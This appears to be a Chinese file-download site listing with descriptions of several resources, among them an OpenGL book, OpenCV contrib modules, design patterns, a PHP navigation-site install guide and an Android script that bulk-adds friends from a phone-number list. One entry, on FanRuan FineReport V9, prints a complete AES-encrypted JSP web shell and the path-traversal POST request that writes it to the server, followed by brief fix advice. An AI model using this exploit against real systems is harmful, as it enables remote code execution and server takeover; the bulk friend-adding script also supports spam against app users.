在IT行业中,脚本自动化工具被广泛应用于各种任务,包括数据处理、系统管理以及用户交互。在这个场景中,我们关注的是一个针对安卓平台的“土豆app全自动引流脚本”,它是一个能够帮助用户自动添加好友的功能性软件。这个脚本特别之处在于它能够通过导入手机号码数据来自动添加好友,极大提升了用户在社交应用中的效率。 让我们深入理解“土豆app”可能是什么。根据标题,这可能是一个社交或通讯应用程序,允许用户建立联系并进行互动。在移动互联网时代,这样的应用程序需要吸引并保持用户,而引流就是关键之一。这个全自动脚本就是为了解决这一问题,帮助用户快速增加好友数量,可能是为了扩大社交圈子、推广业务或是其他目的。 脚本的自动化功能是通过编程实现的,通常使用Python、JavaScript或Android SDK中的特定语言编写。在这个案例中,脚本可能使用了Android的Intent机制来模拟用户操作,比如点击、输入和提交等,以达到自动添加好友的效果。值得注意的是,脚本需要获得适当的权限才能访问和操作手机上的应用,如读取和写入联系人,这在AndroidManifest.xml文件中进行配置。 “手机号.txt”文件很可能是用来存储待添加好友的手机号码列表。脚本会读取这个文件,然后将号码一一输入到土豆app中,执行添加好友的操作。这种批量处理的方式极大地节省了手动操作的时间,尤其是在需要添加大量好友时。 “土豆助手2.40.200102_2模拟器版1.apk”可能是一个辅助工具,专为在安卓模拟器上运行土豆app而设计。安卓模拟器如BlueStacks、NoxPlayer等,允许用户在电脑上运行安卓应用,提供更大的屏幕和更方便的键盘控制。这个助手软件可能包含了优化的脚本执行环境,使得在电脑上运行脚本更加流畅,且不受手机硬件限制。 这个脚本解决方案展示了如何利用技术提高社交应用的用户互动效率,以及如何通过自动化工具处理日常繁琐的任务。在使用此类脚本时,用户需要注意隐私和安全问题,确保遵循应用的使用条款,避免滥用导致账号被封禁。同时,对于开发者而言,了解如何编写和集成这样的脚本,可以提升他们在移动应用自动化测试和营销策略上的能力。
2025-08-24 03:53:32 115.37MB android 脚本 引流脚本
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1 所需环境 contOs7.6-9 nginx1.1-1.2 php8.1 数据库 5.7 第一步 找到宝塔软件商店 找到你安装的php8.1 安装扩展 fileinfo 不安装这个没办法上传图标 安装完成重启php 第二步 新建网站输入自己的域名 上传安装包 解压 访问域名 安装即可 后台地址为: 域名/backend 账号admin密码123456 Annie导航PHP源码是一种基于PHP语言开发的导航网站程序。在部署此类导航网站之前,需要准备一个运行环境,具体而言,操作系统要求为CentOS 7.6至9版本,Web服务器选择nginx版本在1.1至1.2之间,PHP版本需为8.1,数据库则需要MySQL 5.7。这些要求确保了程序能够正常运行和数据的稳定存储。 部署步骤分为两部分,首先是环境配置。首先需要在服务器上安装宝塔面板,这是一个常用于服务器管理的软件,可以帮助用户更加便捷地管理服务器资源。安装宝塔面板后,要确保已经安装了PHP 8.1,接下来需要在PHP的安装目录下找到并安装fileinfo扩展,这个步骤是必须的,因为没有这个扩展,导航网站将无法上传图标。安装完成fileinfo扩展后,需要重启PHP服务,以确保扩展生效。 第二步是网站的搭建。首先在宝塔面板中新建网站,并输入自己的域名,保证域名已经通过DNS解析正确指向了服务器IP。之后,需要上传Annie导航的安装包到服务器,并将其解压。完成这些操作后,通过浏览器访问域名,即可开始进行网站的安装。 安装完成后,网站的后台管理地址为域名加上/backend,使用初始账号admin和密码123456即可登录后台。登录后台后,网站管理员可以进行导航网站的各种设置,比如添加、编辑或删除网站链接,设置导航栏样式,管理用户权限等。 Annie导航PHP源码的文件名称列表中提到了“Annie推广导航”,这表明该导航网站可能专注于提供推广链接,它可能是为营销人员或广告商设计的,使他们可以通过这个平台快速访问各种推广资源。这类导航网站可以帮助用户集中管理常用的推广工具或合作伙伴网站,提高工作效率。 Annie导航PHP源码提供了一套完整的解决方案,用于快速部署一个功能丰富的导航网站。无论是个人站长还是企业,都可以通过简单的步骤搭建起这样的平台,进而开展网络推广和广告合作等工作。
2025-08-24 01:42:28 44.5MB
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实战OpenGL三维可视化系统开发与源码精解,PDF文件,免费分享给大家!!!大家支持
2025-08-24 00:43:21 229.96MB
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振中 TP900工具和驱动文件2.2(简版)
2025-08-24 00:36:04 17.14MB
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在计算机图形学领域,OpenGL(Open Graphics Library)是一个历史悠久且广泛使用的跨语言、跨平台的应用程序编程接口(API),专门用于渲染2D和3D矢量图形。它为开发者提供了一种与硬件无关的方式来创建复杂的图形和动画效果。OpenGL的高级图形处理能力,使得它成为三维可视化系统开发的理想选择。 三维可视化系统通常用于模拟现实世界的三维场景,这在科学计算、工程设计、医学成像、虚拟现实、视频游戏开发等多个领域都有广泛的应用。通过三维可视化系统,用户可以更加直观地理解和分析数据,进行虚拟设计和仿真测试,甚至可以用于教育和娱乐行业。 开发一个高质量的OpenGL三维可视化系统,需要开发者具备深厚的计算机图形学知识、扎实的编程能力以及对OpenGL API的深入理解。此外,掌握相关的辅助工具和库,如GLUT(OpenGL Utility Toolkit)、GLEW(OpenGL Extension Wrangler Library)以及着色器编程等,对于实现高效和复杂的三维渲染效果至关重要。 《实战OpenGL三维可视化系统开发与源码精解》这本书籍,旨在通过实战项目的方式,帮助读者快速掌握OpenGL在三维可视化系统开发中的应用。书中不仅详细介绍了OpenGL的基础知识,还提供了丰富的实战案例和源代码解析,让读者能够一步步构建出自己的三维可视化系统。通过对书中案例的学习,开发者能够学会如何利用OpenGL进行场景的搭建、光照和材质的处理、动画的实现以及交互功能的设计等。 本书的目标读者是具有一定编程基础,且对三维图形学感兴趣的开发者。无论是初学者还是具有一定经验的程序员,都可以从本书中获得实用的知识和技巧。对于初学者而言,书中的基础知识和实例讲解可以作为入门的指南;对于经验丰富的开发者,书中的高级技术应用和源码分析可以作为提升和参考的资源。 通过深入学习《实战OpenGL三维可视化系统开发与源码精解》,开发者可以有效地掌握OpenGL在三维可视化系统开发中的应用,从而在实际项目中实现高质量的三维图形渲染和交云处理,提升用户体验,拓展三维图形应用的可能性。
2025-08-24 00:34:15 406.09MB OpenGL
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OpenCV(开源计算机视觉库)是一个强大的跨平台计算机视觉库,它包含了大量的图像处理和计算机视觉算法,广泛应用于机器学习、图像分析、机器人等领域。在OpenCV 4.8版本中,`opencv_contrib`模块是一个重要的扩展包,包含了OpenCV主库中未包含的一些实验性和进阶功能。 `opencv_contrib`模块是为了满足研究者和开发者更高级的需求而设计的,它包含了超过50个额外的模块,每个模块都有特定的用途,如面部识别、物体检测、文字识别等。这些模块是开源的,允许用户自由地探索、修改和优化代码,以适应各种项目需求。 1. **XFeatures2D**:这个模块提供了各种特征检测和描述符算法,如SIFT、SURF、ORB等,用于图像匹配和对象识别。 2. **Face**:人脸相关的模块,包括人脸识别、表情识别、3D面部重建等,使用了如EigenFace、FisherFace、LBPH等方法。 3. **aruco**:AR(增强现实)相关的标记检测和解析,常用于现实世界中的物体定位和追踪。 4. **bgsegm**:背景分割算法,用于视频流中前景物体的检测。 5. **calib3d**:多视图几何和相机标定的扩展,包括立体视觉、单目和双目深度估计等。 6. **dnn**:深度神经网络模块,支持TensorFlow、Caffe、ONNX等框架的模型加载和推理。 7. **highgui**:高级GUI(图形用户界面)扩展,提供更多的交互功能。 8. **imgcodecs**:图像编码和解码的扩展,支持更多格式的读写。 9. **imgproc**:图像处理的额外函数,比如色彩空间转换、形态学操作等。 10. **ml**:机器学习模块的扩展,包括集成学习算法如随机森林和梯度提升机。 11. **objdetect**:对象检测模块,如HOG+SVM的行人检测等。 12. **photo**:图像修复和增强技术,如降噪、去雾等。 13. **python_bindings_generator**:用于生成Python绑定的工具,方便Python用户使用OpenCV。 14. **shape**:形状分析和比较的算法,用于形状匹配和形状描述。 15. **stereo**:立体视觉算法,包括立体匹配和深度图计算。 16. **structured_light**:结构光扫描技术,用于3D重建。 17. **superres**:超分辨率算法,提高图像的清晰度。 18. **ts**:测试套件,用于单元测试和性能基准测试。 19. **video**:视频处理和运动分析模块,如光流估计、背景建模等。 20. **videostab**:视频稳定模块,消除视频中的抖动。 编译`opencv_contrib`模块与OpenCV主库时,需要确保正确配置并链接所有必要的依赖项,例如CUDA、Qt、Java等。通常,这涉及修改CMakeLists.txt文件,设置相应的标志,以及安装额外的库。编译完成后,用户可以通过包含对应的头文件和链接库来使用`opencv_contrib`中的功能。 `opencv_contrib`模块极大地丰富了OpenCV的功能,为开发者提供了更广阔的探索和创新空间。无论是在学术研究还是实际应用中,它都是一个不可或缺的资源。
2025-08-24 00:26:58 58.64MB opencv
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### 帆软V9getshell1:任意文件覆盖与JSP Web Shell植入详解 #### 一、背景介绍 帆软软件有限公司(FineSoft)是中国领先的企业级报表工具及商业智能解决方案提供商,其核心产品之一为FineReport报表设计工具。在2023年某次安全研究中发现了一个严重安全漏洞——任意文件覆盖(Arbitrary File Overwrite),该漏洞允许攻击者通过特定的操作路径上传恶意JSP脚本到目标服务器上,进而获得服务器权限。这一漏洞被命名为“帆软V9getshell1”。 #### 二、漏洞原理 ##### 2.1 任意文件覆盖机制 任意文件覆盖是指攻击者能够替换或修改服务器上的现有文件。在帆软报表系统的实现中,存在一处逻辑缺陷使得攻击者可以利用该功能来覆盖特定的JSP文件。 ##### 2.2 JSP马的上传与执行 1. **文件路径构造**:攻击者通过精心构造请求中的`filePath`参数,指向一个合法的JSP文件路径。例如,攻击者可以通过设置`filePath`为`../../../../WebReport/update.jsp`,将恶意代码写入到`WebReport`目录下的`update.jsp`文件中。 2. **恶意JSP代码**:攻击者准备了如下恶意JSP代码: ```jsp <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%> <% class U extends ClassLoader{ U(ClassLoader c){ super(c); } public Class g(byte []b){ return super.defineClass(b,0,b.length); } } if(request.getParameter("pass")!=null) { String k=(""+UUID.randomUUID()).replace("-", "").substring(16); session.putValue("u",k); out.print(k); return; } Cipher c=Cipher.getInstance("AES"); c.init(2,new SecretKeySpec((session.getValue("u")+ "").getBytes(),"AES")); new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext); %> ``` 该代码实现了以下功能: - 通过`request.getParameter("pass")`判断是否接收到触发命令。 - 使用AES加密算法对会话中的密钥进行初始化,并解码用户发送的数据。 - 动态加载并执行解密后的类文件,实现远程代码执行。 3. **HTTP请求示例**:攻击者通过发送如下POST请求将恶意代码写入指定位置: ``` POST /WebReport/ReportServer? op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/update.jsp HTTP/1.1 Host: 192.168.169.138:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36 Connection: close Accept-Au: 0c42b2f264071be0507acea1876c74 Content-Type: text/xml;charset=UTF-8 Content-Length: 675 {"__CONTENT__":"<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%>......","__CHARSET__":"UTF-8"} ``` 4. **利用Tomcat自带的JSP文件**:由于帆软报表系统通常部署在Apache Tomcat服务器上,攻击者可以利用Tomcat默认存在的JSP文件(例如`/tomcat-7.0.96/webapps/ROOT/index.jsp`)作为切入点,通过覆盖这些文件来植入恶意代码。 #### 三、修复建议 1. **升级补丁**:及时安装官方发布的最新版本或安全补丁,以修复已知的安全问题。 2. **限制文件路径**:对用户提交的文件路径进行严格的验证和过滤,避免攻击者通过构造恶意路径覆盖敏感文件。 3. **加强认证与授权**:对关键操作增加二次验证机制,限制非授权用户的访问权限,确保只有经过身份验证的用户才能执行敏感操作。 4. **审计日志记录**:开启并维护详细的审计日志,以便在发生异常情况时进行追踪和分析。 #### 四、总结 帆软V9getshell1这一漏洞揭示了在开发过程中忽视输入验证和权限控制所带来的潜在风险。企业应高度重视此类安全问题,并采取有效措施降低被攻击的风险。同时,用户也应增强安全意识,避免在不安全的网络环境中使用重要系统和服务。
2025-08-24 00:18:39 285KB java 网络协议 windows chrome
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根据提供的信息,“泛型编程与STL中文版.pdf”这一标题和描述中涉及的主要知识点包括泛型编程(Generic Programming)以及标准模板库(Standard Template Library, STL)。由于部分内容并未给出实质性的文本信息,只能从标题和描述出发进行展开讨论。 ### 泛型编程 #### 定义与特点 泛型编程是一种编程范式,它允许程序员编写可以处理多种数据类型的代码,而不是特定的一种或几种类型。这种能力使得代码更加灵活、可重用,同时也能够减少重复工作。在C++中,泛型编程主要通过模板实现。 #### 优点 1. **代码复用性高**:同一段模板代码可以用于不同的数据类型。 2. **编译时类型检查**:编译器可以在编译阶段检测到类型错误,提高了程序的健壮性和安全性。 3. **高效性**:模板函数和类的实例化是在编译期完成的,因此运行时无需额外开销。 #### 缺点 1. **编译时间较长**:模板的实例化可能会导致较大的编译时间。 2. **代码膨胀**:模板实例化可能会生成大量的代码,增加程序的体积。 ### C++中的泛型编程 C++支持两种形式的泛型编程: - **模板函数**:定义一个函数,该函数可以接受不同类型的参数,并为每种类型生成特定的函数实例。 - **模板类**:定义一个类,该类可以包含不同类型的数据成员,并为每种类型生成特定的类实例。 ### 标准模板库(STL) #### 概述 标准模板库(STL)是C++标准库的一部分,提供了大量的容器、算法和迭代器等通用组件。这些组件都采用了泛型编程的思想设计,使得用户可以轻松地处理各种数据类型的问题。 #### 主要组成部分 1. **容器**:如`vector`、`list`、`set`、`map`等,它们提供了存储和操作元素的手段。 2. **算法**:如`sort`、`find`、`copy`等,提供了一系列常用的算法实现,可以应用于任何支持迭代器的容器上。 3. **迭代器**:连接容器和算法之间的桥梁,提供了一种统一的方式来访问容器中的元素。 ### STL容器详解 - **vector**:动态数组,支持随机访问,内部使用连续内存存储。 - **list**:双向链表,不支持随机访问,但插入和删除操作非常高效。 - **deque**:双端队列,两端都可以进行高效的插入和删除操作。 - **set/map**:基于红黑树实现的关联容器,元素自动排序且不允许重复(对于`set`),`map`则将键值对存储在一起,键不可重复。 ### STL算法示例 - `std::sort`:用于对容器中的元素进行排序。 - `std::find`:用于查找容器中是否存在某个元素。 - `std::copy`:用于复制容器中的元素到另一个容器。 ### 结论 通过学习泛型编程与STL的相关知识,开发者不仅能够编写出更加灵活、高效且易于维护的代码,还能够在实际项目中利用STL提供的丰富功能快速解决问题。对于C++程序员而言,深入理解并熟练掌握这些知识点是非常重要的。
2025-08-23 23:30:54 17.31MB 泛型编程与STL中文版.pdf
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易语言是一种专为中国人设计的编程语言,它以简体中文作为编程符号,降低了编程的门槛,使得更多的人能够理解并参与到程序开发中。在易语言中,CopyFileEx是一个非常重要的函数,用于实现文件的复制操作,具有丰富的功能和灵活的选项。本使用例程将详细介绍如何在易语言中应用CopyFileEx函数。 CopyFileEx函数通常在处理文件复制时提供更高级别的控制,比如可以设置进度条、复制完成后执行操作等。在易语言中,这个函数的使用方法可能与其他编程语言略有不同,因为易语言的设计理念是让代码更接近自然语言。下面我们将深入探讨CopyFileEx的使用方法和相关知识点。 CopyFileEx函数的主要参数包括源文件路径、目标文件路径以及一个回调函数指针,用于处理复制过程中的事件。在易语言中,你需要定义这些参数,并根据需要设置其他可选参数,如是否覆盖已存在的目标文件、是否复制文件属性等。 1. **源文件路径**:这是要复制的原始文件的完整路径。在易语言中,你可以使用字符串类型来表示,确保路径正确无误,包括盘符、目录和文件名。 2. **目标文件路径**:这是复制后文件的新位置。同样,使用字符串类型表示,确保路径有效且目标目录存在。 3. **回调函数**:这是一个特殊的函数,用于在复制过程中接收进度更新或执行自定义操作。在易语言中,你需要定义一个符合特定接口的函数,并将其地址作为参数传递给CopyFileEx。 4. **其他参数**:易语言的CopyFileEx可能还包括一些布尔类型的参数,如`bFailIfExists`(如果目标文件已存在是否失败)、`bReplaceExisting`(是否替换已存在的目标文件)等。根据需求设置这些参数,可以控制复制行为。 在使用CopyFileEx例程前,你需要了解如何在易语言中定义函数、处理字符串、检查路径有效性等基本操作。在源码中,你可能会看到类似这样的调用: ```易语言 .易语言CopyFileEx("源文件路径", "目标文件路径", .回调函数, .用户数据, .bFailIfExists, .bReplaceExisting) ``` 这里的`.回调函数`和`.用户数据`是自定义的,可以根据需要进行设置。`.用户数据`可以是你想要传递到回调函数的任何数据,而`.回调函数`则需要定义一个处理CopyFileEx进度的函数。 在编写回调函数时,你可能需要处理以下事件: - 文件复制开始 - 文件复制进度更新 - 文件复制完成 - 文件复制出错 回调函数的参数通常包括当前复制的字节数、总字节数、用户数据等,你可以根据这些信息更新进度条或者显示复制状态。 通过以上讲解,你应该对易语言中的CopyFileEx使用有了基本的理解。实际操作中,你可以参考提供的"CopyFileEx使用例程"源码,逐步学习和调试,以加深对这一功能的理解。记得在实践中不断尝试和优化,这样你的编程技能将得到显著提升。
2025-08-23 23:30:37 3KB CopyFileEx
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0 引言.................................................................... 0.1 设计模式解析(总序)........................... 0.2 设计模式解析后记................................... 0.3 与作者联系.............................................. 1 创建型模式......................................................... 1.1 Factory模式.............................................. 1.2 AbstactFactory模式.................................. 1.3 Singleton模式........................................... 1.4 Builder模式............................................... 1.5 Prototype模式........................................... 2 结构型模式......................................................... 2.1 Bridge模式................................................ 2.2 Adapter模式.............................................. 2.3 Decorator模式........................................... 2.4 Composite模式......................................... 2.5 Flyweight模式.......................................... 2.6 Facade模式............................................... 2.7 Proxy模式................................................. 3 行为模式............................................................. 3.1 Template模式............................................ 3.2 Strategy模式............................................. 3.3 State模式................................................... 3.4 Observer模式............................................ 3.5 Memento模式........................................... 3.6 Mediator模式............................................ 3.7 Command模式.......................................... 3.8 Visitor模式................................................ 3.9 Chain of Responsibility模式..................... 3.10 Iterator模式............................................. 3.11 Interpreter模式........................................ 4 说明.................................................................... ### 设计模式精解 #### 0. 引言 设计模式是一套被反复使用、多数人知晓的、经过分类编目的、代码设计经验的总结。本书旨在深度解析GoF所提出的23种设计模式,并提供了C语言实现的源码示例。 #### 0.1 设计模式解析(总序) 设计模式对于理解和掌握面向对象编程(OOP)至关重要。通过学习这些模式,开发者能够更好地解决常见的软件设计问题,并提高代码的复用性和灵活性。设计模式不仅是一种技巧或工具,更是一种思维方式和方法论。 #### 1. 创建型模式 创建型模式关注的是对象的创建方式,它们提供了一种机制来创建对象,同时隐藏了具体的创建逻辑。 - **1.1 Factory模式**:工厂模式定义了一个用于创建对象的接口,但允许子类决定实例化哪个类。工厂方法让类的实例化推迟到子类。 - **1.2 Abstract Factory模式**:抽象工厂模式提供了一个创建一系列相关或相互依赖对象的接口,而无需指定它们具体的类。 - **1.3 Singleton模式**:确保一个类只有一个实例,并提供一个全局访问点。 - **1.4 Builder模式**:将一个复杂对象的构建与其表示分离,使得同样的构建过程可以创建不同的表示。 - **1.5 Prototype模式**:用原型实例指定创建对象的种类,并且通过复制这些原型创建新的对象。 #### 2. 结构型模式 结构型模式关注如何组合类或对象来获得更大的结构。 - **2.1 Bridge模式**:将抽象部分与它的实现部分分离,使它们都可以独立地变化。 - **2.2 Adapter模式**:将一个类的接口转换成客户希望的另一个接口,使得原本由于接口不兼容而不能一起工作的那些类可以一起工作。 - **2.3 Decorator模式**:动态地给一个对象添加一些额外的职责,提供了一种替代继承的灵活方案。 - **2.4 Composite模式**:将对象组合成树形结构以表示“部分-整体”的层次结构,使得用户可以一致地处理单个对象和组合对象。 - **2.5 Flyweight模式**:运用共享技术有效地支持大量细粒度的对象。 - **2.6 Facade模式**:为子系统中的一组接口提供一个一致的界面,它定义了一个高层接口,使得这一子系统更加容易使用。 - **2.7 Proxy模式**:为其他对象提供一个代理以控制对这个对象的访问。 #### 3. 行为模式 行为模式关注的是对象之间的职责分配。 - **3.1 Template Method模式**:定义一个操作中的算法骨架,而将一些步骤延迟到子类中。使得子类可以不改变一个算法的结构即可重定义该算法的某些特定步骤。 - **3.2 Strategy模式**:定义一系列的算法,把它们一个个封装起来,并且使它们可相互替换。 - **3.3 State模式**:允许一个对象在其内部状态改变时改变它的行为,对象看起来像是改变了它的类。 - **3.4 Observer模式**:定义对象间的一种一对多的依赖关系,当一个对象的状态发生改变时,所有依赖于它的对象都得到通知并被自动更新。 - **3.5 Memento模式**:在不破坏封装性的前提下,捕获一个对象的内部状态,并在该对象之外保存这个状态,这样以后就可以将该对象恢复到原先保存的状态。 - **3.6 Mediator模式**:用一个中介对象来封装一系列的对象交互,使得各对象不需要显式地相互引用,从而使其耦合松散,而且可以独立地改变它们之间的交互。 - **3.7 Command模式**:将一个请求封装为一个对象,从而使你可用不同的请求对客户进行参数化;对请求排队或记录请求日志,以及支持可撤销的操作。 - **3.8 Visitor模式**:表示一个作用于某对象结构中的各元素的操作,它使你可以在不改变各元素的类的前提下定义作用于这些元素的新操作。 - **3.9 Chain of Responsibility模式**:使多个对象都有机会处理请求,从而避免请求的发送者和接收者之间的耦合关系。 - **3.10 Iterator模式**:提供一种方法顺序访问一个聚合对象中各个元素而又不暴露该对象的内部表示。 - **3.11 Interpreter模式**:给出一个语言的文法,并定义一个解释器来解释由该语言编写的程序。 #### 4. 说明 通过深入理解这些设计模式,开发者可以更好地构建高质量的软件系统。每个模式都有其适用场景,了解它们可以帮助我们在遇到相似问题时快速找到解决方案。此外,本书还提供了C语言的具体实现示例,帮助读者更好地理解和应用这些设计模式。通过实践这些模式,不仅可以提升代码质量,还能增强团队间的协作效率,减少未来的维护成本。
2025-08-23 22:45:18 1.64MB 设计模式 C实现源码 pdf
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